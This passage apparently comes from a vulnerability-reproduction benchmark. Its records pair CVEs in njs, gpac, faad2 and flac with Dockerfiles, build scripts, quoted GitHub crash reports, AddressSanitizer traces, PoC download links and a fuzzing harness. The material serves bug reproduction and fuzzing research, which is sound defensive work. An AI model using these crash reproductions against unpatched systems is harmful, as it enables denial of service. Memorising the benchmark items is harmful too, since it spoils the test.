/home/q1iq/Documents/origin/njs_f65981b/src/njs_promise.c:1171:15 #7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11 #8 0x4deb20 in njs_vm_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:440:12 #9 0x4deb20 in njs_vm_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:424:12 #10 0x4deb20 in njs_vm_handle_events /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:584:19 #11 0x4deb20 in njs_vm_run /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:544:12 #12 0x4c82d7 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:924:15 #13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11 #14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15 #15 0x7f3e31cf00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #16 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 in njs_vmcode_interpreter ==732128==ABORTING ``` ### Credit Q1IQ(@Q1IQ) Commit References: f65981b0b8fcf02d69a40bc934803c25c9f607ab
[]
[ { "sha": "31ed93a5623f24ca94e6d47e895ba735d9d97d46", "url": "https://github.com/nginx/njs/commit/31ed93a5623f24ca94e6d47e895ba735d9d97d46" }, { "sha": "f65981b0b8fcf02d69a40bc934803c25c9f607ab", "url": "https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab" } ]
gpac.cve-2022-47093
gpac/gpac
65430e30593bb04579445e77df0a1207adfad357
2022-12-19T09:13:04
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 65430e30593bb04579445e77df0a1207adfad357 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/2344 ## Description: Issue: gpac/gpac#2344 Title: heap-use-after-free filters/dmx_m2ts.c:470 in m2tsdmx_declare_pid State: closed Created by: xidoo123 Created at: 2022-12-11 13:29:49+00:00 Issue Body: Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [X] I looked for a similar issue and couldn't find any. - [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ # Description heap-use-after-free filters/dmx_m2ts.c:470 in m2tsdmx_declare_pid # Version info ``` MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --enable-sanitizer Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D ``` # Reproduce compile and run ``` ./configure --enable-sanitizer make ./MP4Box import -add poc_uaf.avi ``` # Crash reported by sanitizer ``` Broken PAT found reserved PID 0, ignoring Broken PAT found reserved PID 0, ignoring Broken PAT found reserved PID 0, ignoring Broken PAT found reserved PID 0, ignoring Broken PAT found reserved PID 0, ignoring [MPEG-2 TS] PID 1863: Bad Adaptation Descriptor found (tag 100) size is 100 but only 93 bytes available stream type DSM CC user private sections on pid 32 [MPEG-2 TS] Invalid PMT es descriptor size for PID 32 [MPEG-2 TS] Invalid PMT es descriptor size for PID 5364 Broken PAT found reserved PID 0, ignoring Broken PAT found reserved PID 0, ignoring Broken PAT found reserved PID 0, ignoring Broken PAT found reserved PID 0, ignoring Broken PAT found reserved PID 0, ignoring [MPEG-2 TS] PID 1863: Bad Adaptation Descriptor found (tag 100) size is 100 but only 93 bytes available stream type DSM CC user private sections on pid 32 [MPEG-2 TS] Invalid PMT es descriptor size for PID 32 [MPEG-2 TS] Invalid PMT es descriptor size for PID 5364 ================================================================= ==583780==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000004548 at pc 0x7fa6cb05f685 bp 0x7ffc93e21020 sp 0x7ffc93e21010 READ of size 8 at 0x607000004548 thread T0 #0 0x7fa6cb05f684 in m2tsdmx_declare_pid filters/dmx_m2ts.c:470 #1 0x7fa6cb05f98a in m2tsdmx_setup_program filters/dmx_m2ts.c:592 #2 0x7fa6cb06245b in m2tsdmx_on_event filters/dmx_m2ts.c:876 #3 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1779 #4 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1132 #5 0x7fa6ca9439b6 in gf_m2ts_section_complete media_tools/mpegts.c:624 #6 0x7fa6ca9452af in gf_m2ts_gather_section media_tools/mpegts.c:755 #7 0x7fa6ca94a532 in gf_m2ts_process_packet media_tools/mpegts.c:2721 #8 0x7fa6ca94dd68 in gf_m2ts_process_data media_tools/mpegts.c:2813 #9 0x7fa6cb05a250 in m2tsdmx_process filters/dmx_m2ts.c:1420 #10 0x7fa6caf29bcc in gf_filter_process_task filter_core/filter.c:2750 #11 0x7fa6caee9af3 in gf_fs_thread_proc filter_core/filter_session.c:1859 #12 0x7fa6caef63ee in gf_fs_run filter_core/filter_session.c:2120 #13 0x7fa6ca938fd1 in gf_media_import media_tools/media_import.c:1551 #14 0x55f87208daec in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498 #15 0x55f8720423db in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4508 #16 0x55f8720423db in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124 #17 0x7fa6c7ec3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #18 0x7fa6c7ec3e3f in __libc_start_main_impl ../csu/libc-start.c:392 #19 0x55f87201ecb4 in _start (/home/sumuchuan/Desktop/gpac_fuzz/gpac/bin/gcc/MP4Box+0xabcb4) 0x607000004548 is located 8 bytes inside of 80-byte region [0x607000004540,0x607000004590) freed by thread T0 here: #0 0x7fa6cda1ec18 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164 #1 0x7fa6ca0aff20 in realloc_chain utils/list.c:621 #2 0x7fa6ca0aff20 in gf_list_add utils/list.c:630 #3 0x7fa6caed06d0 in gf_props_set_property filter_core/filter_props.c:1098 #4 0x7fa6cae8a35d in gf_filter_pid_set_property_full filter_core/filter_pid.c:5411 #5 0x7fa6cae8a35d in gf_filter_pid_set_property filter_core/filter_pid.c:5418 #6 0x7fa6cb05c6b3 in m2tsdmx_declare_pid filters/dmx_m2ts.c:454 #7 0x7fa6cb05f98a in m2tsdmx_setup_program filters/dmx_m2ts.c:592 #8 0x7fa6cb06245b in m2tsdmx_on_event filters/dmx_m2ts.c:876 #9 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1779 #10 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1132 #11 0x7fa6ca9439b6 in gf_m2ts_section_complete media_tools/mpegts.c:624 #12 0x7fa6ca9452af in gf_m2ts_gather_section media_tools/mpegts.c:755 #13 0x7fa6ca94a532 in gf_m2ts_process_packet media_tools/mpegts.c:2721 #14 0x7fa6ca94dd68 in gf_m2ts_process_data media_tools/mpegts.c:2813 #15 0x7fa6cb05a250 in m2tsdmx_process filters/dmx_m2ts.c:1420 #16 0x7fa6caf29bcc in gf_filter_process_task filter_core/filter.c:2750 #17 0x7fa6caee9af3 in gf_fs_thread_proc filter_core/filter_session.c:1859 #18 0x7fa6caef63ee in gf_fs_run filter_core/filter_session.c:2120 #19 0x7fa6ca938fd1 in gf_media_import media_tools/media_import.c:1551 #20 0x55f87208daec in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498 #21 0x55f8720423db in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4508 #22 0x55f8720423db in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124 #23 0x7fa6c7ec3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 previously allocated by thread T0 here: #0 0x7fa6cda1ec18 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164 #1 0x7fa6ca0aff20 in realloc_chain utils/list.c:621 #2 0x7fa6ca0aff20 in gf_list_add utils/list.c:630 #3 0x7fa6caed0d5f in gf_props_merge_property filter_core/filter_props.c:1199 #4 0x7fa6cae9661b in gf_filter_pid_new filter_core/filter_pid.c:5258 #5 0x7fa6cb05adf9 in m2tsdmx_declare_pid filters/dmx_m2ts.c:411 #6 0x7fa6cb05f98a in m2tsdmx_setup_program filters/dmx_m2ts.c:592 #7 0x7fa6cb06245b in m2tsdmx_on_event filters/dmx_m2ts.c:876 #8 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1779 #9 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1132 #10 0x7fa6ca9439b6 in gf_m2ts_section_complete media_tools/mpegts.c:624 #11 0x7fa6ca9452af in gf_m2ts_gather_section media_tools/mpegts.c:755 #12 0x7fa6ca94a532 in gf_m2ts_process_packet media_tools/mpegts.c:2721 #13 0x7fa6ca94dd68 in gf_m2ts_process_data media_tools/mpegts.c:2813 #14 0x7fa6cb05a250 in m2tsdmx_process filters/dmx_m2ts.c:1420 #15 0x7fa6caf29bcc in gf_filter_process_task filter_core/filter.c:2750 #16 0x7fa6caee9af3 in gf_fs_thread_proc filter_core/filter_session.c:1859 #17 0x7fa6caef63ee in gf_fs_run filter_core/filter_session.c:2120 #18 0x7fa6ca938fd1 in gf_media_import media_tools/media_import.c:1551 #19 0x55f87208daec in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498 #20 0x55f8720423db in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4508 #21 0x55f8720423db in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124 #22 0x7fa6c7ec3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 SUMMARY: AddressSanitizer: heap-use-after-free filters/dmx_m2ts.c:470 in m2tsdmx_declare_pid Shadow bytes around the buggy address: 0x0c0e7fff8850: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa 0x0c0e7fff8860: fa fa 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 0x0c0e7fff8870: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 0x0c0e7fff8880: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 0x0c0e7fff8890: 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 =>0x0c0e7fff88a0: 00 00 00 00 fa fa fa fa fd[fd]fd fd fd fd fd fd 0x0c0e7fff88b0: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff88c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff88d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff88e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff88f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==583780==ABORTING ``` # POC [poc_uaf.zip](https://github.com/gpac/gpac/files/10202295/poc_uaf.zip) # Impact Potentially causing DoS and RCE # Credit Xdchase Attachments: https://github.com/gpac/gpac/files/10202295/poc_uaf.zip Commit References: eec9e058a9486fe4e99c33021481d9e1826ca9db
[]
[ { "sha": "706111f4d8babf0cda9fac5f3ca4e89983274d6e", "url": "https://github.com/gpac/gpac/commit/706111f4d8babf0cda9fac5f3ca4e89983274d6e" }, { "sha": "eec9e058a9486fe4e99c33021481d9e1826ca9db", "url": "https://github.com/gpac/gpac/commit/eec9e058a9486fe4e99c33021481d9e1826ca9db" } ]
gpac.cve-2019-20170
gpac/gpac
ed4ec31ea84a1a94abb17669db33f5c4e7a679cf
2020-06-15T05:33:03
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout ed4ec31ea84a1a94abb17669db33f5c4e7a679cf WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/1328 ## Description: Issue: gpac/gpac#1328 Title: AddressSanitizer: heap-use-after-free in GF_IPMPX_AUTH_Delete odf/ipmpx_code.c:115 State: closed Created by: Clingto Created at: 2019-11-09 11:14:15+00:00 Issue Body: System info: Ubuntu 16.04.6 LTS, X64, gcc 5.4.0, gpac (latest master 00dfc93) Compile Command: ``` $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box $ make ``` Run Command: ``` $ MP4Box -diso -out /dev/null $POC-new-GF_IPMPX_AUTH_Delete ``` POC file: https://github.com/Clingto/POC/blob/master/gpac-MP4Box/gpac-00dfc93-crashes/POC-new-GF_IPMPX_AUTH_Delete gdb info: ```C Program received signal SIGSEGV, Segmentation fault. 0x000000000056907e in gf_ipmpx_data_del () (gdb) bt #0 0x000000000056907e in gf_ipmpx_data_del () #1 0x000000000056aa7c in gf_ipmpx_data_parse () #2 0x000000000056274a in gf_odf_read_ipmp () #3 0x000000000055a076 in gf_odf_parse_descriptor () #4 0x000000000056503b in gf_odf_desc_read () #5 0x00000000006ca7b4 in esds_Read () #6 0x00000000005137e1 in gf_isom_box_parse_ex.constprop () #7 0x0000000000513e15 in gf_isom_parse_root_box () #8 0x000000000051b4fe in gf_isom_parse_movie_boxes.part () #9 0x000000000051c48c in gf_isom_open_file () #10 0x000000000041c082 in mp4boxMain () #11 0x00007ffff72ed830 in __libc_start_main (main=0x40eb70 <main>, argc=5, argv=0x7fffffffe318, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe308) at ../csu/libc-start.c:291 #12 0x000000000040eba9 in _start () ``` ASAN info: ```C ASAN:SIGSEGV ================================================================= ==27770==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x0000007bacbf bp 0x00000000000a sp 0x7fffffff8020 T0) #0 0x7bacbe in GF_IPMPX_AUTH_Delete odf/ipmpx_code.c:115 #1 0x7bacbe in delete_algo_list odf/ipmpx_code.c:363 #2 0x7bacbe in DelGF_IPMPX_MutualAuthentication odf/ipmpx_code.c:371 #3 0x7bacbe in gf_ipmpx_data_del odf/ipmpx_code.c:1853 #4 0x7bec88 in gf_ipmpx_data_parse odf/ipmpx_code.c:295 #5 0x7a9969 in gf_odf_read_ipmp odf/odf_code.c:2426 #6 0x795ce3 in gf_odf_parse_descriptor odf/descriptors.c:159 #7 0x7afc16 in gf_odf_desc_read odf/odf_codec.c:302 #8 0xad3fb3 in esds_Read isomedia/box_code_base.c:1256 #9 0x6c5114 in gf_isom_box_read isomedia/box_funcs.c:1528 #10 0x6c5114 in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #11 0x6c5974 in gf_isom_parse_root_box isomedia/box_funcs.c:42 #12 0x6da6a0 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:206 #13 0x6dd2f3 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:194 #14 0x6dd2f3 in gf_isom_open_file isomedia/isom_intern.c:615 #15 0x42f88a in mp4boxMain /home/aota09/yyp/fuzzcompare/test/gpac/test-crash/build_asan_00dfc93/applications/mp4box/main.c:4767 #16 0x7ffff638082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #17 0x41e228 in _start (/home/aota09/yyp/fuzzcompare/test/gpac/test-crash/bin_asan/bin/MP4Box+0x41e228) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV odf/ipmpx_code.c:115 GF_IPMPX_AUTH_Delete ==27770==ABORTING ``` Edit --- This bug issue still exists in latest version 0.8.0: 4c19ae5 and 0.9.0: 1de1f8d --- Addition: This bug was found with our fuzzer, which is based on AFL. Our fuzzer is developed by Yuanpingyu(cfenicey@gmail.com) 、Yanhao and Marsman1996(lqliuyuwei@outlook.com) Comments: Comment by carnil on 2019-12-31 10:00:20+00:00: CVE-2019-20170 was assigned for this issue. --- Comment by aureliendavid on 2020-01-08 12:43:51+00:00: Thanks for the report. This should be fixed in master / 0.8.0 as of the above commit. It will be included in filters / 0.9.0 in the next merge. Feel free to reopen the issue if necessary.
[ { "content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdio.h>\n#include <unistd.h>\n\n#include <gpac/internal/isomedia_dev.h>\n#include <gpac/constants.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n GF_ISOFile *movie = NULL;\n movie = gf_isom_open_file(filename, GF_ISOM_OPEN_READ_DUMP, NULL);\n if (movie != NULL) {\n gf_isom_close(movie);\n }\n unlink(filename);\n return 0;\n}\n", "filename": "fuzz_parse.c" } ]
[ { "sha": "16856430287cc10f495eb241910b4dc45b193e03", "url": "https://github.com/gpac/gpac/commit/16856430287cc10f495eb241910b4dc45b193e03" } ]
faad2.cve-2021-32276
knik0/faad2
f97f6e933a4ee3cf00b4e1ba4e3a1f05bc9de165
2020-10-20T01:24:05
faad2
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/knik0/faad2 faad2 RUN git -C faad2 checkout f97f6e933a4ee3cf00b4e1ba4e3a1f05bc9de165 WORKDIR $SRC/faad2 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./bootstrap ./configure make -j$(nproc)
/src/faad2
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/knik0/faad2/issues/58 ## Description: Issue: knik0/faad2#58 Title: A Segmentation fault in output.c:49:16 State: closed Created by: seviezhou Created at: 2020-08-30 15:29:51+00:00 Issue Body: ## System info Ubuntu x86_64, clang 6.0, faad (latest master [1073ae](https://github.com/knik0/faad2/commit/1073aeef823cafd844704389e9a497c257768e2f)) ## Configure CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-shared=no ## Command line ./frontend/faad -w -b 5 @@ ## AddressSanitizer output ``` NULL 190.264 secs, 6 ch, 44100 Hz AddressSanitizer:DEADLYSIGNAL ================================================================= ==3662==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000546b64 bp 0x629000000200 sp 0x7ffed5a32ff0 T0) ==3662==The signal is caused by a READ memory access. ==3662==Hint: address points to the zero page. #0 0x546b63 in get_sample /home/seviezhou/faad2/libfaad/output.c:49:16 #1 0x546b63 in to_PCM_double /home/seviezhou/faad2/libfaad/output.c:390 #2 0x546b63 in output_to_PCM /home/seviezhou/faad2/libfaad/output.c:427 #3 0x53b8df in aac_frame_decode /home/seviezhou/faad2/libfaad/decoder.c:1176:21 #4 0x52f738 in decodeMP4file /home/seviezhou/faad2/frontend/main.c:916:25 #5 0x52f738 in faad_main /home/seviezhou/faad2/frontend/main.c:1323 #6 0x7fb2de93483f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291 #7 0x41a698 in _start (/home/seviezhou/faad2/frontend/faad+0x41a698) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/seviezhou/faad2/libfaad/output.c:49:16 in get_sample ==3662==ABORTING ``` ## POC [SEGV-get_sample-output-49.zip](https://github.com/knik0/faad2/files/5147027/SEGV-get_sample-output-49.zip) Attachments: https://github.com/knik0/faad2/files/5147027/SEGV-get_sample-output-49.zip Commit References: 1073aeef823cafd844704389e9a497c257768e2f
[]
[ { "sha": "1073aeef823cafd844704389e9a497c257768e2f", "url": "https://github.com/knik0/faad2/commit/1073aeef823cafd844704389e9a497c257768e2f" }, { "sha": "7778bb8aed476183d8ec26c9250be4938dc9d111", "url": "https://github.com/awesie/faad2/commit/7778bb8aed476183d8ec26c9250be4938dc9d111" }, { "sha": "b58840121d1827b4b6c7617e2431589af1776ddc", "url": "https://github.com/knik0/faad2/commit/b58840121d1827b4b6c7617e2431589af1776ddc" }, { "sha": "4ed30d3d232b6a7a150cc06aed14eb47e4eda14e", "url": "https://github.com/knik0/faad2/commit/4ed30d3d232b6a7a150cc06aed14eb47e4eda14e" }, { "sha": "9facdf1b7641dde54829c84a14fdfcc1258c655a", "url": "https://github.com/knik0/faad2/commit/9facdf1b7641dde54829c84a14fdfcc1258c655a" }, { "sha": "072b7889bc5a2e8c18d4aa4dc4a30529b2d83488", "url": "https://github.com/knik0/faad2/commit/072b7889bc5a2e8c18d4aa4dc4a30529b2d83488" }, { "sha": "34534b2fd4d9ba5b89d4514770e6739fa651131d", "url": "https://github.com/knik0/faad2/commit/34534b2fd4d9ba5b89d4514770e6739fa651131d" } ]
flac.cve-2020-22219
xiph/flac
35303458f01eaf36e5d4b9beafa0a1c2d626d0d6
2022-09-07T02:57:18
flac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool libtool-bin pkg-config gettext sudo default-jdk RUN git clone https://github.com/xiph/flac flac RUN git -C flac checkout 35303458f01eaf36e5d4b9beafa0a1c2d626d0d6 WORKDIR $SRC/flac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu export ASAN_OPTIONS="detect_leaks=0" export CXXFLAGS="$CXXFLAGS -DASAN" export CXXFLAGS="$CXXFLAGS -DMSAN" export CFLAGS="$CFLAGS -D_FORTIFY_SOURCE=0" export CXXFLAGS="$CXXFLAGS -D_FORTIFY_SOURCE=0 -D_GLIBCXX_DEBUG" mkdir -p $SRC/libogg-install cd $SRC/ogg ./autogen.sh ./configure --disable-crc --disable-shared --prefix="$SRC/libogg-install" make -j$(nproc) make install -j$(nproc) cd $SRC/flac/ LD_LIBRARY_PATH="$SRC/libogg-install/lib" ./configure --with-ogg="$SRC/libogg-install" --enable-static --disable-shared --disable-oggtest --disable-examples --disable-programs --disable-xmms-plugin --disable-asm-optimizations --disable-sse --enable-oss-fuzzers LD_LIBRARY_PATH="$SRC/libogg-install/lib" ./configure --with-ogg="$SRC/libogg-install" --enable-static --disable-shared --disable-oggtest --disable-examples --disable-programs --disable-xmms-plugin --enable-oss-fuzzers
/src/flac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/xiph/flac/issues/215 ## Description: Issue: xiph/flac#215 Title: wild-addr-write found by fuzz State: closed Created by: ltx2018 Created at: 2020-06-02 03:09:10+00:00 Issue Body: we found wild-addr-write by fuzzing flac-master: ``` ==217==ERROR: AddressSanitizer: SEGV on unknown address 0xb6029a2c (pc 0x0822a2ae bp 0xffeb31e8 sp 0xffeb30a0 T0) ==217==The signal is caused by a WRITE memory access. SCARINESS: 30 (wild-addr-write) #0 0x822a2ad in FLAC__bitwriter_write_raw_uint32_nocheck /src/flac/src/libFLAC/bitwriter.c #1 0x8229a42 in FLAC__bitwriter_write_raw_uint32 /src/flac/src/libFLAC/bitwriter.c:369:9 #2 0x8218ec3 in FLAC__frame_add_header /src/flac/src/libFLAC/stream_encoder_framing.c:227:6 #3 0x820557b in process_subframes_ /src/flac/src/libFLAC/stream_encoder.c:3365:7 #4 0x81d940f in process_frame_ /src/flac/src/libFLAC/stream_encoder.c:3096:6 #5 0x81f3770 in FLAC__stream_encoder_process_interleaved /src/flac/src/libFLAC/stream_encoder.c:2298:9 #6 0x81bfa80 in FLAC::Encoder::Stream::process_interleaved(int const*, unsigned int) /src/flac/src/libFLAC++/stream_encoder.cpp:370:29 #7 0x81ac167 in LLVMFuzzerTestOneInput /src/flac-fuzzers/fuzzer_encoder.cpp:141:46 #8 0x80ac766 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned int) /src/llvm/projects/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:556:15 #9 0x8098c13 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned int) /src/llvm/projects/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:292:6 #10 0x809e318 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned int)) /src/llvm/projects/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:774:9 #11 0x80c3167 in main /src/llvm/projects/compiler-rt/lib/fuzzer/FuzzerMain.cpp:19:10 #12 0xf7539636 in __libc_start_main (/lib32/libc.so.6+0x18636) #13 0x8073c38 in _start (/out/flac/fuzzer_encoder+0x8073c38) ``` here is my debug info: bw->buffer was realloc here ``` bitwriter_grow_ (bw=0xf5a00a90, bits_to_add=62914562) at bitwriter.c:128 128 if(new_buffer == 0) (gdb) n 130 bw->buffer = new_buffer; (gdb) l 125 FLAC__ASSERT(new_capacity >= bw->words + ((bw->bits + bits_to_add + FLAC__BITS_PER_WORD - 1) / FLAC__BITS_PER_WORD)); 126 127 new_buffer = safe_realloc_mul_2op_(bw->buffer, sizeof(bwword), /*times*/new_capacity); 128 if(new_buffer == 0) 129 return false; 130 bw->buffer = new_buffer; 131 bw->capacity = new_capacity; 132 return true; 133 } 134 (gdb) p new_buffer $1 = (bwword *) 0x7abd7800 (gdb) p new_capacity $2 = 250956800 ``` later, bw->buffer was freed but it's value NOT set to 0 ``` 156 static inline void *safe_realloc_(void *ptr, size_t size) 157 { 158 void *oldptr = ptr; 159 void *newptr = realloc(ptr, size); 160 if(size > 0 && newptr == 0) 161 free(oldptr); 162 return newptr; (gdb) n 159 void *newptr = realloc(ptr, size); (gdb) n 160 if(size > 0 && newptr == 0) (gdb) p newptr $4 = (void *) 0x0 (gdb) p size $5 = 1006448640 (gdb) n 161 free(oldptr); (gdb) p oldptr $6 = (void *) 0x7abd7800 (gdb) n 162 return newptr; (gdb) n safe_realloc_mul_2op_ (ptr=0x7abd7800, size1=4, size2=251612160) at ../../include/share/alloc.h:206 206 } (gdb) n bitwriter_grow_ (bw=0xf5a00a90, bits_to_add=20971521) at bitwriter.c:128 128 if(new_buffer == 0) (gdb) l 123 FLAC__ASSERT(0 == (new_capacity - bw->capacity) % FLAC__BITWRITER_DEFAULT_INCREMENT); 124 FLAC__ASSERT(new_capacity > bw->capacity); 125 FLAC__ASSERT(new_capacity >= bw->words + ((bw->bits + bits_to_add + FLAC__BITS_PER_WORD - 1) / FLAC__BITS_PER_WORD)); 126 127 new_buffer = safe_realloc_mul_2op_(bw->buffer, sizeof(bwword), /*times*/new_capacity); 128 if(new_buffer == 0) 129 return false; 130 bw->buffer = new_buffer; 131 bw->capacity = new_capacity; 132 return true; (gdb) p bw->buffer $7 = (bwword *) 0x7abd7800 (gdb) p bw->capacity $8 = 250956800 (gdb) n 129 return false ``` Comments: Comment by ltx2018 on 2020-06-02 03:11:03+00:00: #214 a way to fix --- Comment by erikd on 2020-06-02 03:34:15+00:00: How can this be triggered? --- Comment by ltx2018 on 2020-06-02 07:34:08+00:00: > How can this be triggered? i just run fuzzer_encoder(build by oss-fuzz) locally, here is my crash-corpus [crash-fuzzer_encoder.zip](https://github.com/xiph/flac/files/4715489/crash-fuzzer_encoder.zip) --- Comment by ltx2018 on 2020-06-02 07:35:29+00:00: > How can this be triggered? by the way, ARCHITECTURE is i386 --- Comment by attritionorg on 2020-06-03 16:46:23+00:00: How it is triggered is important for many reasons, not 